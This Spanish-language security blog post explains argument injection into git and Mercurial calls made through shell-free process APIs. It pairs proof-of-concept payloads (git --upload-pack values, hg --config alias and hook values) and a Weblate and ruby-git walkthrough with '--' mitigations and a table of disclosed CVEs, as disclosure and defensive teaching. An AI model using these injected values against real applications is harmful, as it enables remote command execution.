Skip to main content

Redescubrir la inyección de argumentos al usar herramientas de VCS: git y mercurial

Escrito por
Headshot of Alessio Della Libera

Alessio Della Libera

feature argument injection

23 de agosto de 2022

0 minutos de lectura

Uno de los principales objetivos de esta investigación fue explorar cómo es posible ejecutar comandos arbitrarios incluso al usar una API segura que previene la inyección de comandos. Nos enfocamos en herramientas de sistemas de control de versiones (VCS), como git y hg (mercurial), que, entre algunas de sus opciones, permiten ejecutar comandos arbitrarios (en determinadas circunstancias).

Los objetivos de esta investigación son aplicaciones web y proyectos de bibliotecas (escritos en cualquier lenguaje de programación) que llaman a estos comandos mediante una API segura. No nos enfocamos en proyectos de CLI ni en proyectos que llaman a esos comandos con datos provenientes de fuentes almacenadas, como archivos de configuración.

En esta publicación, buscamos mostrar escenarios comunes en los que es posible ejecutar comandos arbitrarios mediante opciones de argumentos inyectadas, incluso al usar una API segura. También compartiremos ejemplos de mitigación y sugerencias para quienes mantienen proyectos de código abierto.

Antecedentes sobre la inyección de argumentos

Considera el siguiente escenario: un desarrollador quiere llamar a comandos de git o hg desde el directorio de su proyecto para interactuar con repositorios. Sin embargo, se usan valores controlados por el usuario como parámetros de estos comandos (lo que permite que los usuarios especifiquen la URL del repositorio, el nombre de la rama, etc.). Como el desarrollador sabe que existe la vulnerabilidad de inyección de comandos, decide usar una API segura para ejecutar comandos de shell. Por ejemplo, si el proyecto está en Node.js, la API spawn del módulo child_process previene la inyección de comandos cuando se llama de la siguiente manera:

spawn([“command”, “-option1”, user_input, user_input’)

Sin embargo, no siempre es así. Como veremos pronto, también depende del comando que llamen estas API. Si quieres saber más sobre qué es la inyección de argumentos, este artículo de Staaldraad es un excelente recurso.

¿Por qué debería importarnos git?

Algunos subcomandos de git tienen opciones que permiten al usuario especificar qué programas o comandos se ejecutarán. Un ejemplo es la opción --upload-pack, disponible en los siguientes subcomandos de git:

Tomemos como ejemplo los subcomandos git fetch, ls-remote y pull, que implementan la opción --upload-pack.

Según el comando, hay ciertos argumentos obligatorios seguidos de otros opcionales. Por ejemplo, git fetch requiere al menos un argumento, es decir, un repositorio, seguido de refspec y un conjunto de opciones.

Al ejecutar los siguientes comandos en una terminal, se ejecutará el comando de shell touch HELLO:

git ls-remote --upload-pack="touch HELLO1" master
git fetch origin --upload-pack="touch HELLO2" // git init first or in a git project
git pull origin --upload-pack="touch HELLO3" // git init first or in a git project

¿Cómo se ve el código vulnerable con “git”?

Para mostrar esta vulnerabilidad, usaré JavaScript y Python. Para que los ejemplos sean breves, supongamos que los valores url y branch están controlados por el usuario y no se sanitizan correctamente.

El siguiente ejemplo muestra que aún es posible ejecutar código arbitrario, incluso al usar una API segura que protege contra las inyecciones de comandos clásicas:

JavaScript (NodeJS)

const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
branch = "foo"
cp.spawn("git", ["ls-remote", url, branch])
cp.spawn("git", ["ls-remote", "& touch NOT_WORKING;", "foo"])

La última línea muestra que una carga útil de inyección de comandos normal (es decir, una carga útil con caracteres especiales como ; & | , etc. para encadenar comandos) no funciona.

Python

import subprocess
url = "--upload-pack=touch HELLO_PY"
branch = "foo"

subprocess.Popen(["git", "ls-remote", url, branch], shell=False)

Es importante tener en cuenta que los escenarios anteriores pueden llevar a la ejecución de comandos si se proporcionan los argumentos obligatorios para los subcomandos de git correspondientes. Por ejemplo, si solo se proporciona un argumento al subcomando git ls-remote, sin otros argumentos, los escenarios anteriores no funcionarán:

JavaScript (NodeJS)

const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
cp.spawn("git", ["ls-remote", url])
// fatal: No remote configured to list refs from.

Esto se debe a que el único argumento proporcionado se interpretará como un repositorio (en el caso de git ls-remote). Si se proporciona otro argumento válido al comando, estaremos en el caso anterior y aún podremos ejecutar código.

Sugerencias de mitigación

Una posible solución para los escenarios anteriores sería agregar -- antes de los valores controlados por el usuario. Como explica la documentación oficial, “al escribir un script que debe manejar entradas aleatorias de usuarios, es una buena práctica aclarar qué argumentos son cuáles colocando -- en los lugares adecuados para evitar ambigüedades”.

Por ejemplo, el siguiente código ya no permitirá ejecutar comandos:

const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
branch = "foo"
cp.spawn("git", ["ls-remote", "--", url, branch])
// fatal: strange pathname '--upload-pack=touch HELLO_JS' blocked

¿Por qué debería importarnos hg (mercurial)?

Como vimos en la sección anterior, deben cumplirse ciertas condiciones para ejecutar comandos arbitrarios (es decir, proporcionar los argumentos obligatorios). Sin embargo, esto no ocurre con hg, lo que hace que su explotación sea mucho más sencilla.

Entre las diversas opciones disponibles, mercurial permite que los usuarios especifiquen aliases y hooks para cada comando (clone, init, log, etc.) mediante la opción –config.

Como explica la documentación de mercurial, los aliases “te permiten definir tus propios comandos a partir de otros comandos (o aliases), con argumentos opcionales. Un alias puede comenzar con un signo de exclamación ("!") para convertirlo en un alias de shell. El alias de shell se ejecuta con el shell y te permite ejecutar comandos arbitrarios. Por ejemplo:

echo = !echo $@

te permitirá ejecutar "hg echo foo" para que se imprima "foo" en tu terminal”.

Por otro lado, los hooks son “comandos o funciones de Python que se ejecutan automáticamente ante diversas acciones, como iniciar o finalizar un commit”. Son comandos que se ejecutan cuando se cumplen determinadas condiciones y pueden ejecutarse antes (pre-<command>) o después (post-<command>) de otros comandos de mercurial.

¿Cómo se ve el código vulnerable al usar “hg init”?

Veamos un ejemplo de cómo es posible ejecutar comandos arbitrarios cuando se llama al comando hg init con entradas del usuario sin sanitizar.

Ejemplo de alias

hg init -config=alias.init="!touch HELLO"

Se ejecutará el comando touch HELLO. Esto se debe a que se define un alias para el comando init, que se ejecuta en lugar del comando hg init.

El mismo comando ejecutado desde el código se vería así (como antes, supongamos que el usuario controla source y que no se sanitiza correctamente):

JavaScript (NodeJS)
const cp = require("child_process")

source = "--config=alias.init=!touch HELLO_JS"
cp.spawn("hg", ["init", source])
Python
import subprocess
source = "--config=alias.init=!touch HELLO_PY"
subprocess.call(["hg", "init", source])

Ejemplo de hooks

hg init -config=hooks.pre-init="touch HELLO"

El comando touch HELLO se ejecutará antes de ejecutar el comando init (es decir, antes, mediante las opciones pre-<command>).

El mismo comando ejecutado desde el código se vería así:

JavaScript (NodeJS)
const cp = require("child_process")

source = "--config=hooks.pre-init=touch HELLO_JS"
cp.spawn("hg", ["init", source])
Python
import subprocess
source = "--config=hooks.pre-init=touch HELLO_PY"
subprocess.call(["hg", "init", source])

A diferencia de git, para ejecutar comandos arbitrarios solo necesitamos controlar un argumento proporcionado a los comandos de mercurial, incluso si es el único parámetro que se usa.

Sugerencias de mitigación

Una vez más, podemos resolver este problema agregando los caracteres -- antes de los argumentos controlados por el usuario.

Por ejemplo, la siguiente explotación ya no funcionará: creará una carpeta de repositorio cuyo nombre será igual al contenido de la variable source.

const cp = require("child_process")

source = "--config=alias.init=!touch HELLO_JS"
cp.spawn("hg", ["init", "--", source])

Resultados

En el pasado ya se explotaron problemas similares. Algunos ejemplos conocidos son los ataques de ejecución remota de código en CocoaPods Trunk y Phabricator.

La siguiente tabla resume los problemas que encontramos y divulgamos como parte de esta investigación:

Proyecto

Vulnerabilidad

Aviso/Referencia

CVE

ungit

RCE

CVE-2022-25766

mozilla/pontoon

RCE

N/A

GoCD Server

RCE

CVE-2022-29184

Weblate

RCE (x2)

CVE-2022-23915

simple-git

Inyección de comandos

CVE-2022-24433

ruby-git

Inyección de comandos

CVE-2022-25648

cocoapods-downloader

Inyección de comandos

CVE-2022-24440

cocoapods-downloader

Inyección de comandos

CVE-2022-21223

Masterminds/vcs

Inyección de comandos

CVE-2022-21235

git-php

Inyección de comandos

CVE-2022-25866

libvcs

Inyección de comandos

CVE-2022-21187

workspace-tools

Inyección de comandos

CVE-2022-25865

cookiecutter

Inyección de comandos

CVE-2022-24065

hashicorp/go-getter

Inyección de comandos

CVE-2022-26945

Después de encontrar estas vulnerabilidades, las reportamos de forma privada a quienes mantienen los proyectos, de acuerdo con nuestra política de divulgación de vulnerabilidades. Quiero agradecer personalmente a todas las personas que contacté por su tiempo y colaboración.

En los siguientes casos de estudio, explicaremos cómo fue posible ejecutar código de forma remota e inyectar comandos en estos proyectos populares.

Caso de estudio: ejecución remota de código en Weblate

Weblate es una “herramienta de localización basada en la web con una integración estrecha con el control de versiones”. Un usuario autenticado podía lograr la ejecución remota de código mediante la inyección de argumentos.

Al agregar nuevos componentes de traducción y usar repositorios de mercurial, la entrada del usuario branch se usa en el comando hg pull sin sanitizarla correctamente.

El código pertinente que llama al comando hg pull con valores controlados por el usuario es:

# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/mercurial.py#L364-L367
def update_remote(self):
    """Update remote repository."""
    self.execute(["pull", "--branch", self.branch])
    self.clean_revision_cache()

# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/base.py#L230
def execute(
    self,
    args: List[str],
    ...
):
    ...
    try:
        self.last_output = self._popen( # <---
            args, #<--- 
            self.path,
            ...
        )
    ...
    return self.last_output

# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/base.py#L191
@classmethod
def _popen(
    cls,
    args: List[str],
    ....
):
    """Execute the command using popen."""
    if args is None:
        raise RepositoryException(0, "Not supported functionality")
    if not fullcmd:
        args = [cls._cmd] + list(args)
    ...
    process = subprocess.run(
        args, # <---
        ...
    )
    ... 
    return process.stdout

Prueba de concepto

Para ejecutar comandos arbitrarios, el usuario debe crear un nuevo componente de traducción en un proyecto de traducción y asignar a Rama del repositorio el valor --config=alias.pull=!id>/app/cache/static/output_rce1.txt. En este caso, se ejecutará el comando id y su salida se redirigirá a una página disponible en http://localhost:8888/static/output_rce1.txt.

1. Inicia sesión en la aplicación.

2. Agrega un nuevo proyecto de traducción y haz clic en Guardar.

Formulario de creación de proyecto de Weblate con campos para el nombre del proyecto, el slug de la URL, el sitio web del proyecto y las instrucciones de traducción

3. Agrega un nuevo componente de traducción (al proyecto de traducción que acabas de crear), ingresa la carga útil --config=alias.pull=!id>/app/cache/static/output_rce1.txt en el campo Rama del repositorio y haz clic en Continuar.

Formulario de configuración del repositorio de Weblate que muestra el control de versiones Mercurial, la URL de un repositorio de origen y un argumento sospechoso para la rama del repositorio antes de continuar

4. La salida del comando id estará disponible en http://localhost:8888/static/output_rce1.txt.

Navegador que muestra la salida de localhost con texto resaltado que indica uid, gid, grupos y privilegios de root

Mitigación

Como puedes ver, fue posible lograr una ejecución remota de código incluso al trabajar con repositorios de git. En este caso, la entrada del usuario repo, sin sanitizar, se pasó al comando git ls-remote.

Quien mantiene el proyecto corrigió rápidamente ambos problemas en la versión 4.11.1 (consulta Github Release). Las correcciones (para los casos de mercurial y git) agregaron los caracteres -- antes de la entrada del usuario para evitar que se interpretara como un argumento.

Caso de estudio: inyección de comandos en ruby-git

Ruby git es una “biblioteca que se puede usar para crear, leer y manipular repositorios de Git mediante el uso de llamadas al sistema que envuelven el binario de git”.

Al llamar a la función fetch(remote = 'origin', opts = {}), el parámetro remote se pasa al subcomando git fetch sin sanitizarlo. Como vimos antes, git fetch es uno de los subcomandos de git que acepta el argumento --upload-pack. Para obtener más información sobre --upload-pack, consulta la documentación de git-fetch.

El código pertinente que llama al comando git fetch con valores controlados por el usuario es:

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/base.rb#L339-L341
def fetch(remote = 'origin', opts={})
    self.lib.fetch(remote, opts)  # <---
end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L879
def fetch(remote, opts)
    arr_opts = [remote]
    arr_opts << opts[:ref] if opts[:ref]
    ...
    command('fetch', arr_opts)  # <---
end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L1075
def command(cmd, *opts, &block)
    ...
    with_custom_env_variables do
    command_thread = Thread.new do
        output = run_command(git_cmd, &block) # <---
        exitstatus = $?.exitstatus
    end
    command_thread.join
    end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L1179
def run_command(git_cmd, &block)
    return IO.popen(git_cmd, &block) if block_given? # <---
    `#{git_cmd}`.lines.map { |l| Git::EncodingUtils.normalize_encoding(l) }.join
end

Prueba de concepto

La siguiente prueba de concepto muestra cómo fue posible ejecutar comandos arbitrarios:

require "git"

g = Git.init('project')

origin = "--upload-pack=touch ./HELLO1;"
g.fetch(origin, {:ref => 'some/ref/head'} )

# ls -la

Mitigación

Los encargados del mantenimiento corrigieron el problema en la versión 1.11.0 (versión de GitHub). Al igual que en el problema anterior, la corrección agregó los caracteres -- antes de los valores controlados por el usuario.

Conclusiones clave

… para desarrolladores

Al llamar comandos mediante una API segura —que evita la inyección de comandos y acepta valores controlados por el usuario—, es importante asegurarse de que los valores proporcionados por el usuario no cambien el comportamiento del comando al inyectar o manipular algunas de sus opciones. Para evitar esta confusión, se pueden usar los caracteres -- para separar los argumentos de los valores controlados por el usuario.

… para encargados del mantenimiento

Si una función o API envuelve llamadas a comandos que aceptan valores controlados por el usuario, podría ser útil documentar este comportamiento para evitar confundir a quienes ven que el encargado del mantenimiento aborda algunos problemas de sanitización (como prevenir la inyección de comandos mediante una API segura), pero no otros (como cuando la entrada puede usarse como una opción peligrosa que provoque un comportamiento inesperado).

… para investigadores de seguridad

Nos enfocamos en los comandos git y hg, pero hay muchos otros que funcionan de manera similar. Cabe mencionar que incluso el uso de API seguras que evitan la inyección de comandos puede dar lugar a problemas de seguridad. Todo depende de los comandos que se ejecuten. Si encuentras problemas similares (o cualquier otra vulnerabilidad de seguridad) en un proyecto de código abierto que participe en nuestro programa, repórtalo mediante el formulario de divulgación de vulnerabilidades de Snyk.

Referencias:

Leer más

Blog

Los modelos de frontera encontraron las vulnerabilidades. Solo el atacante encontró las cadenas.

El análisis estático encontró las fallas, pero solo las pruebas de ataque en vivo demostraron cómo podían encadenarse para provocar brechas. Una comparación de Evo COS, Claude Security y Claude Code Security.

feature insights context
Blog

Los ataques autónomos ya están aquí. La defensa debe estar a su altura.

Los atacantes autónomos están reduciendo el tiempo disponible para defenderse. Descubre cómo el descubrimiento, la corrección, la validación y la prevención continuos pueden ayudar a los equipos de seguridad a seguirles el ritmo.

Blog

Por qué los agentes de programación con IA siguen generando fallas de control de acceso

Los agentes de programación con IA pueden generar lógica de autorización que compila y supera la revisión, pero expone los datos de un inquilino a otro. Descubre por qué es difícil detectar el control de acceso roto y cómo prevenirlo.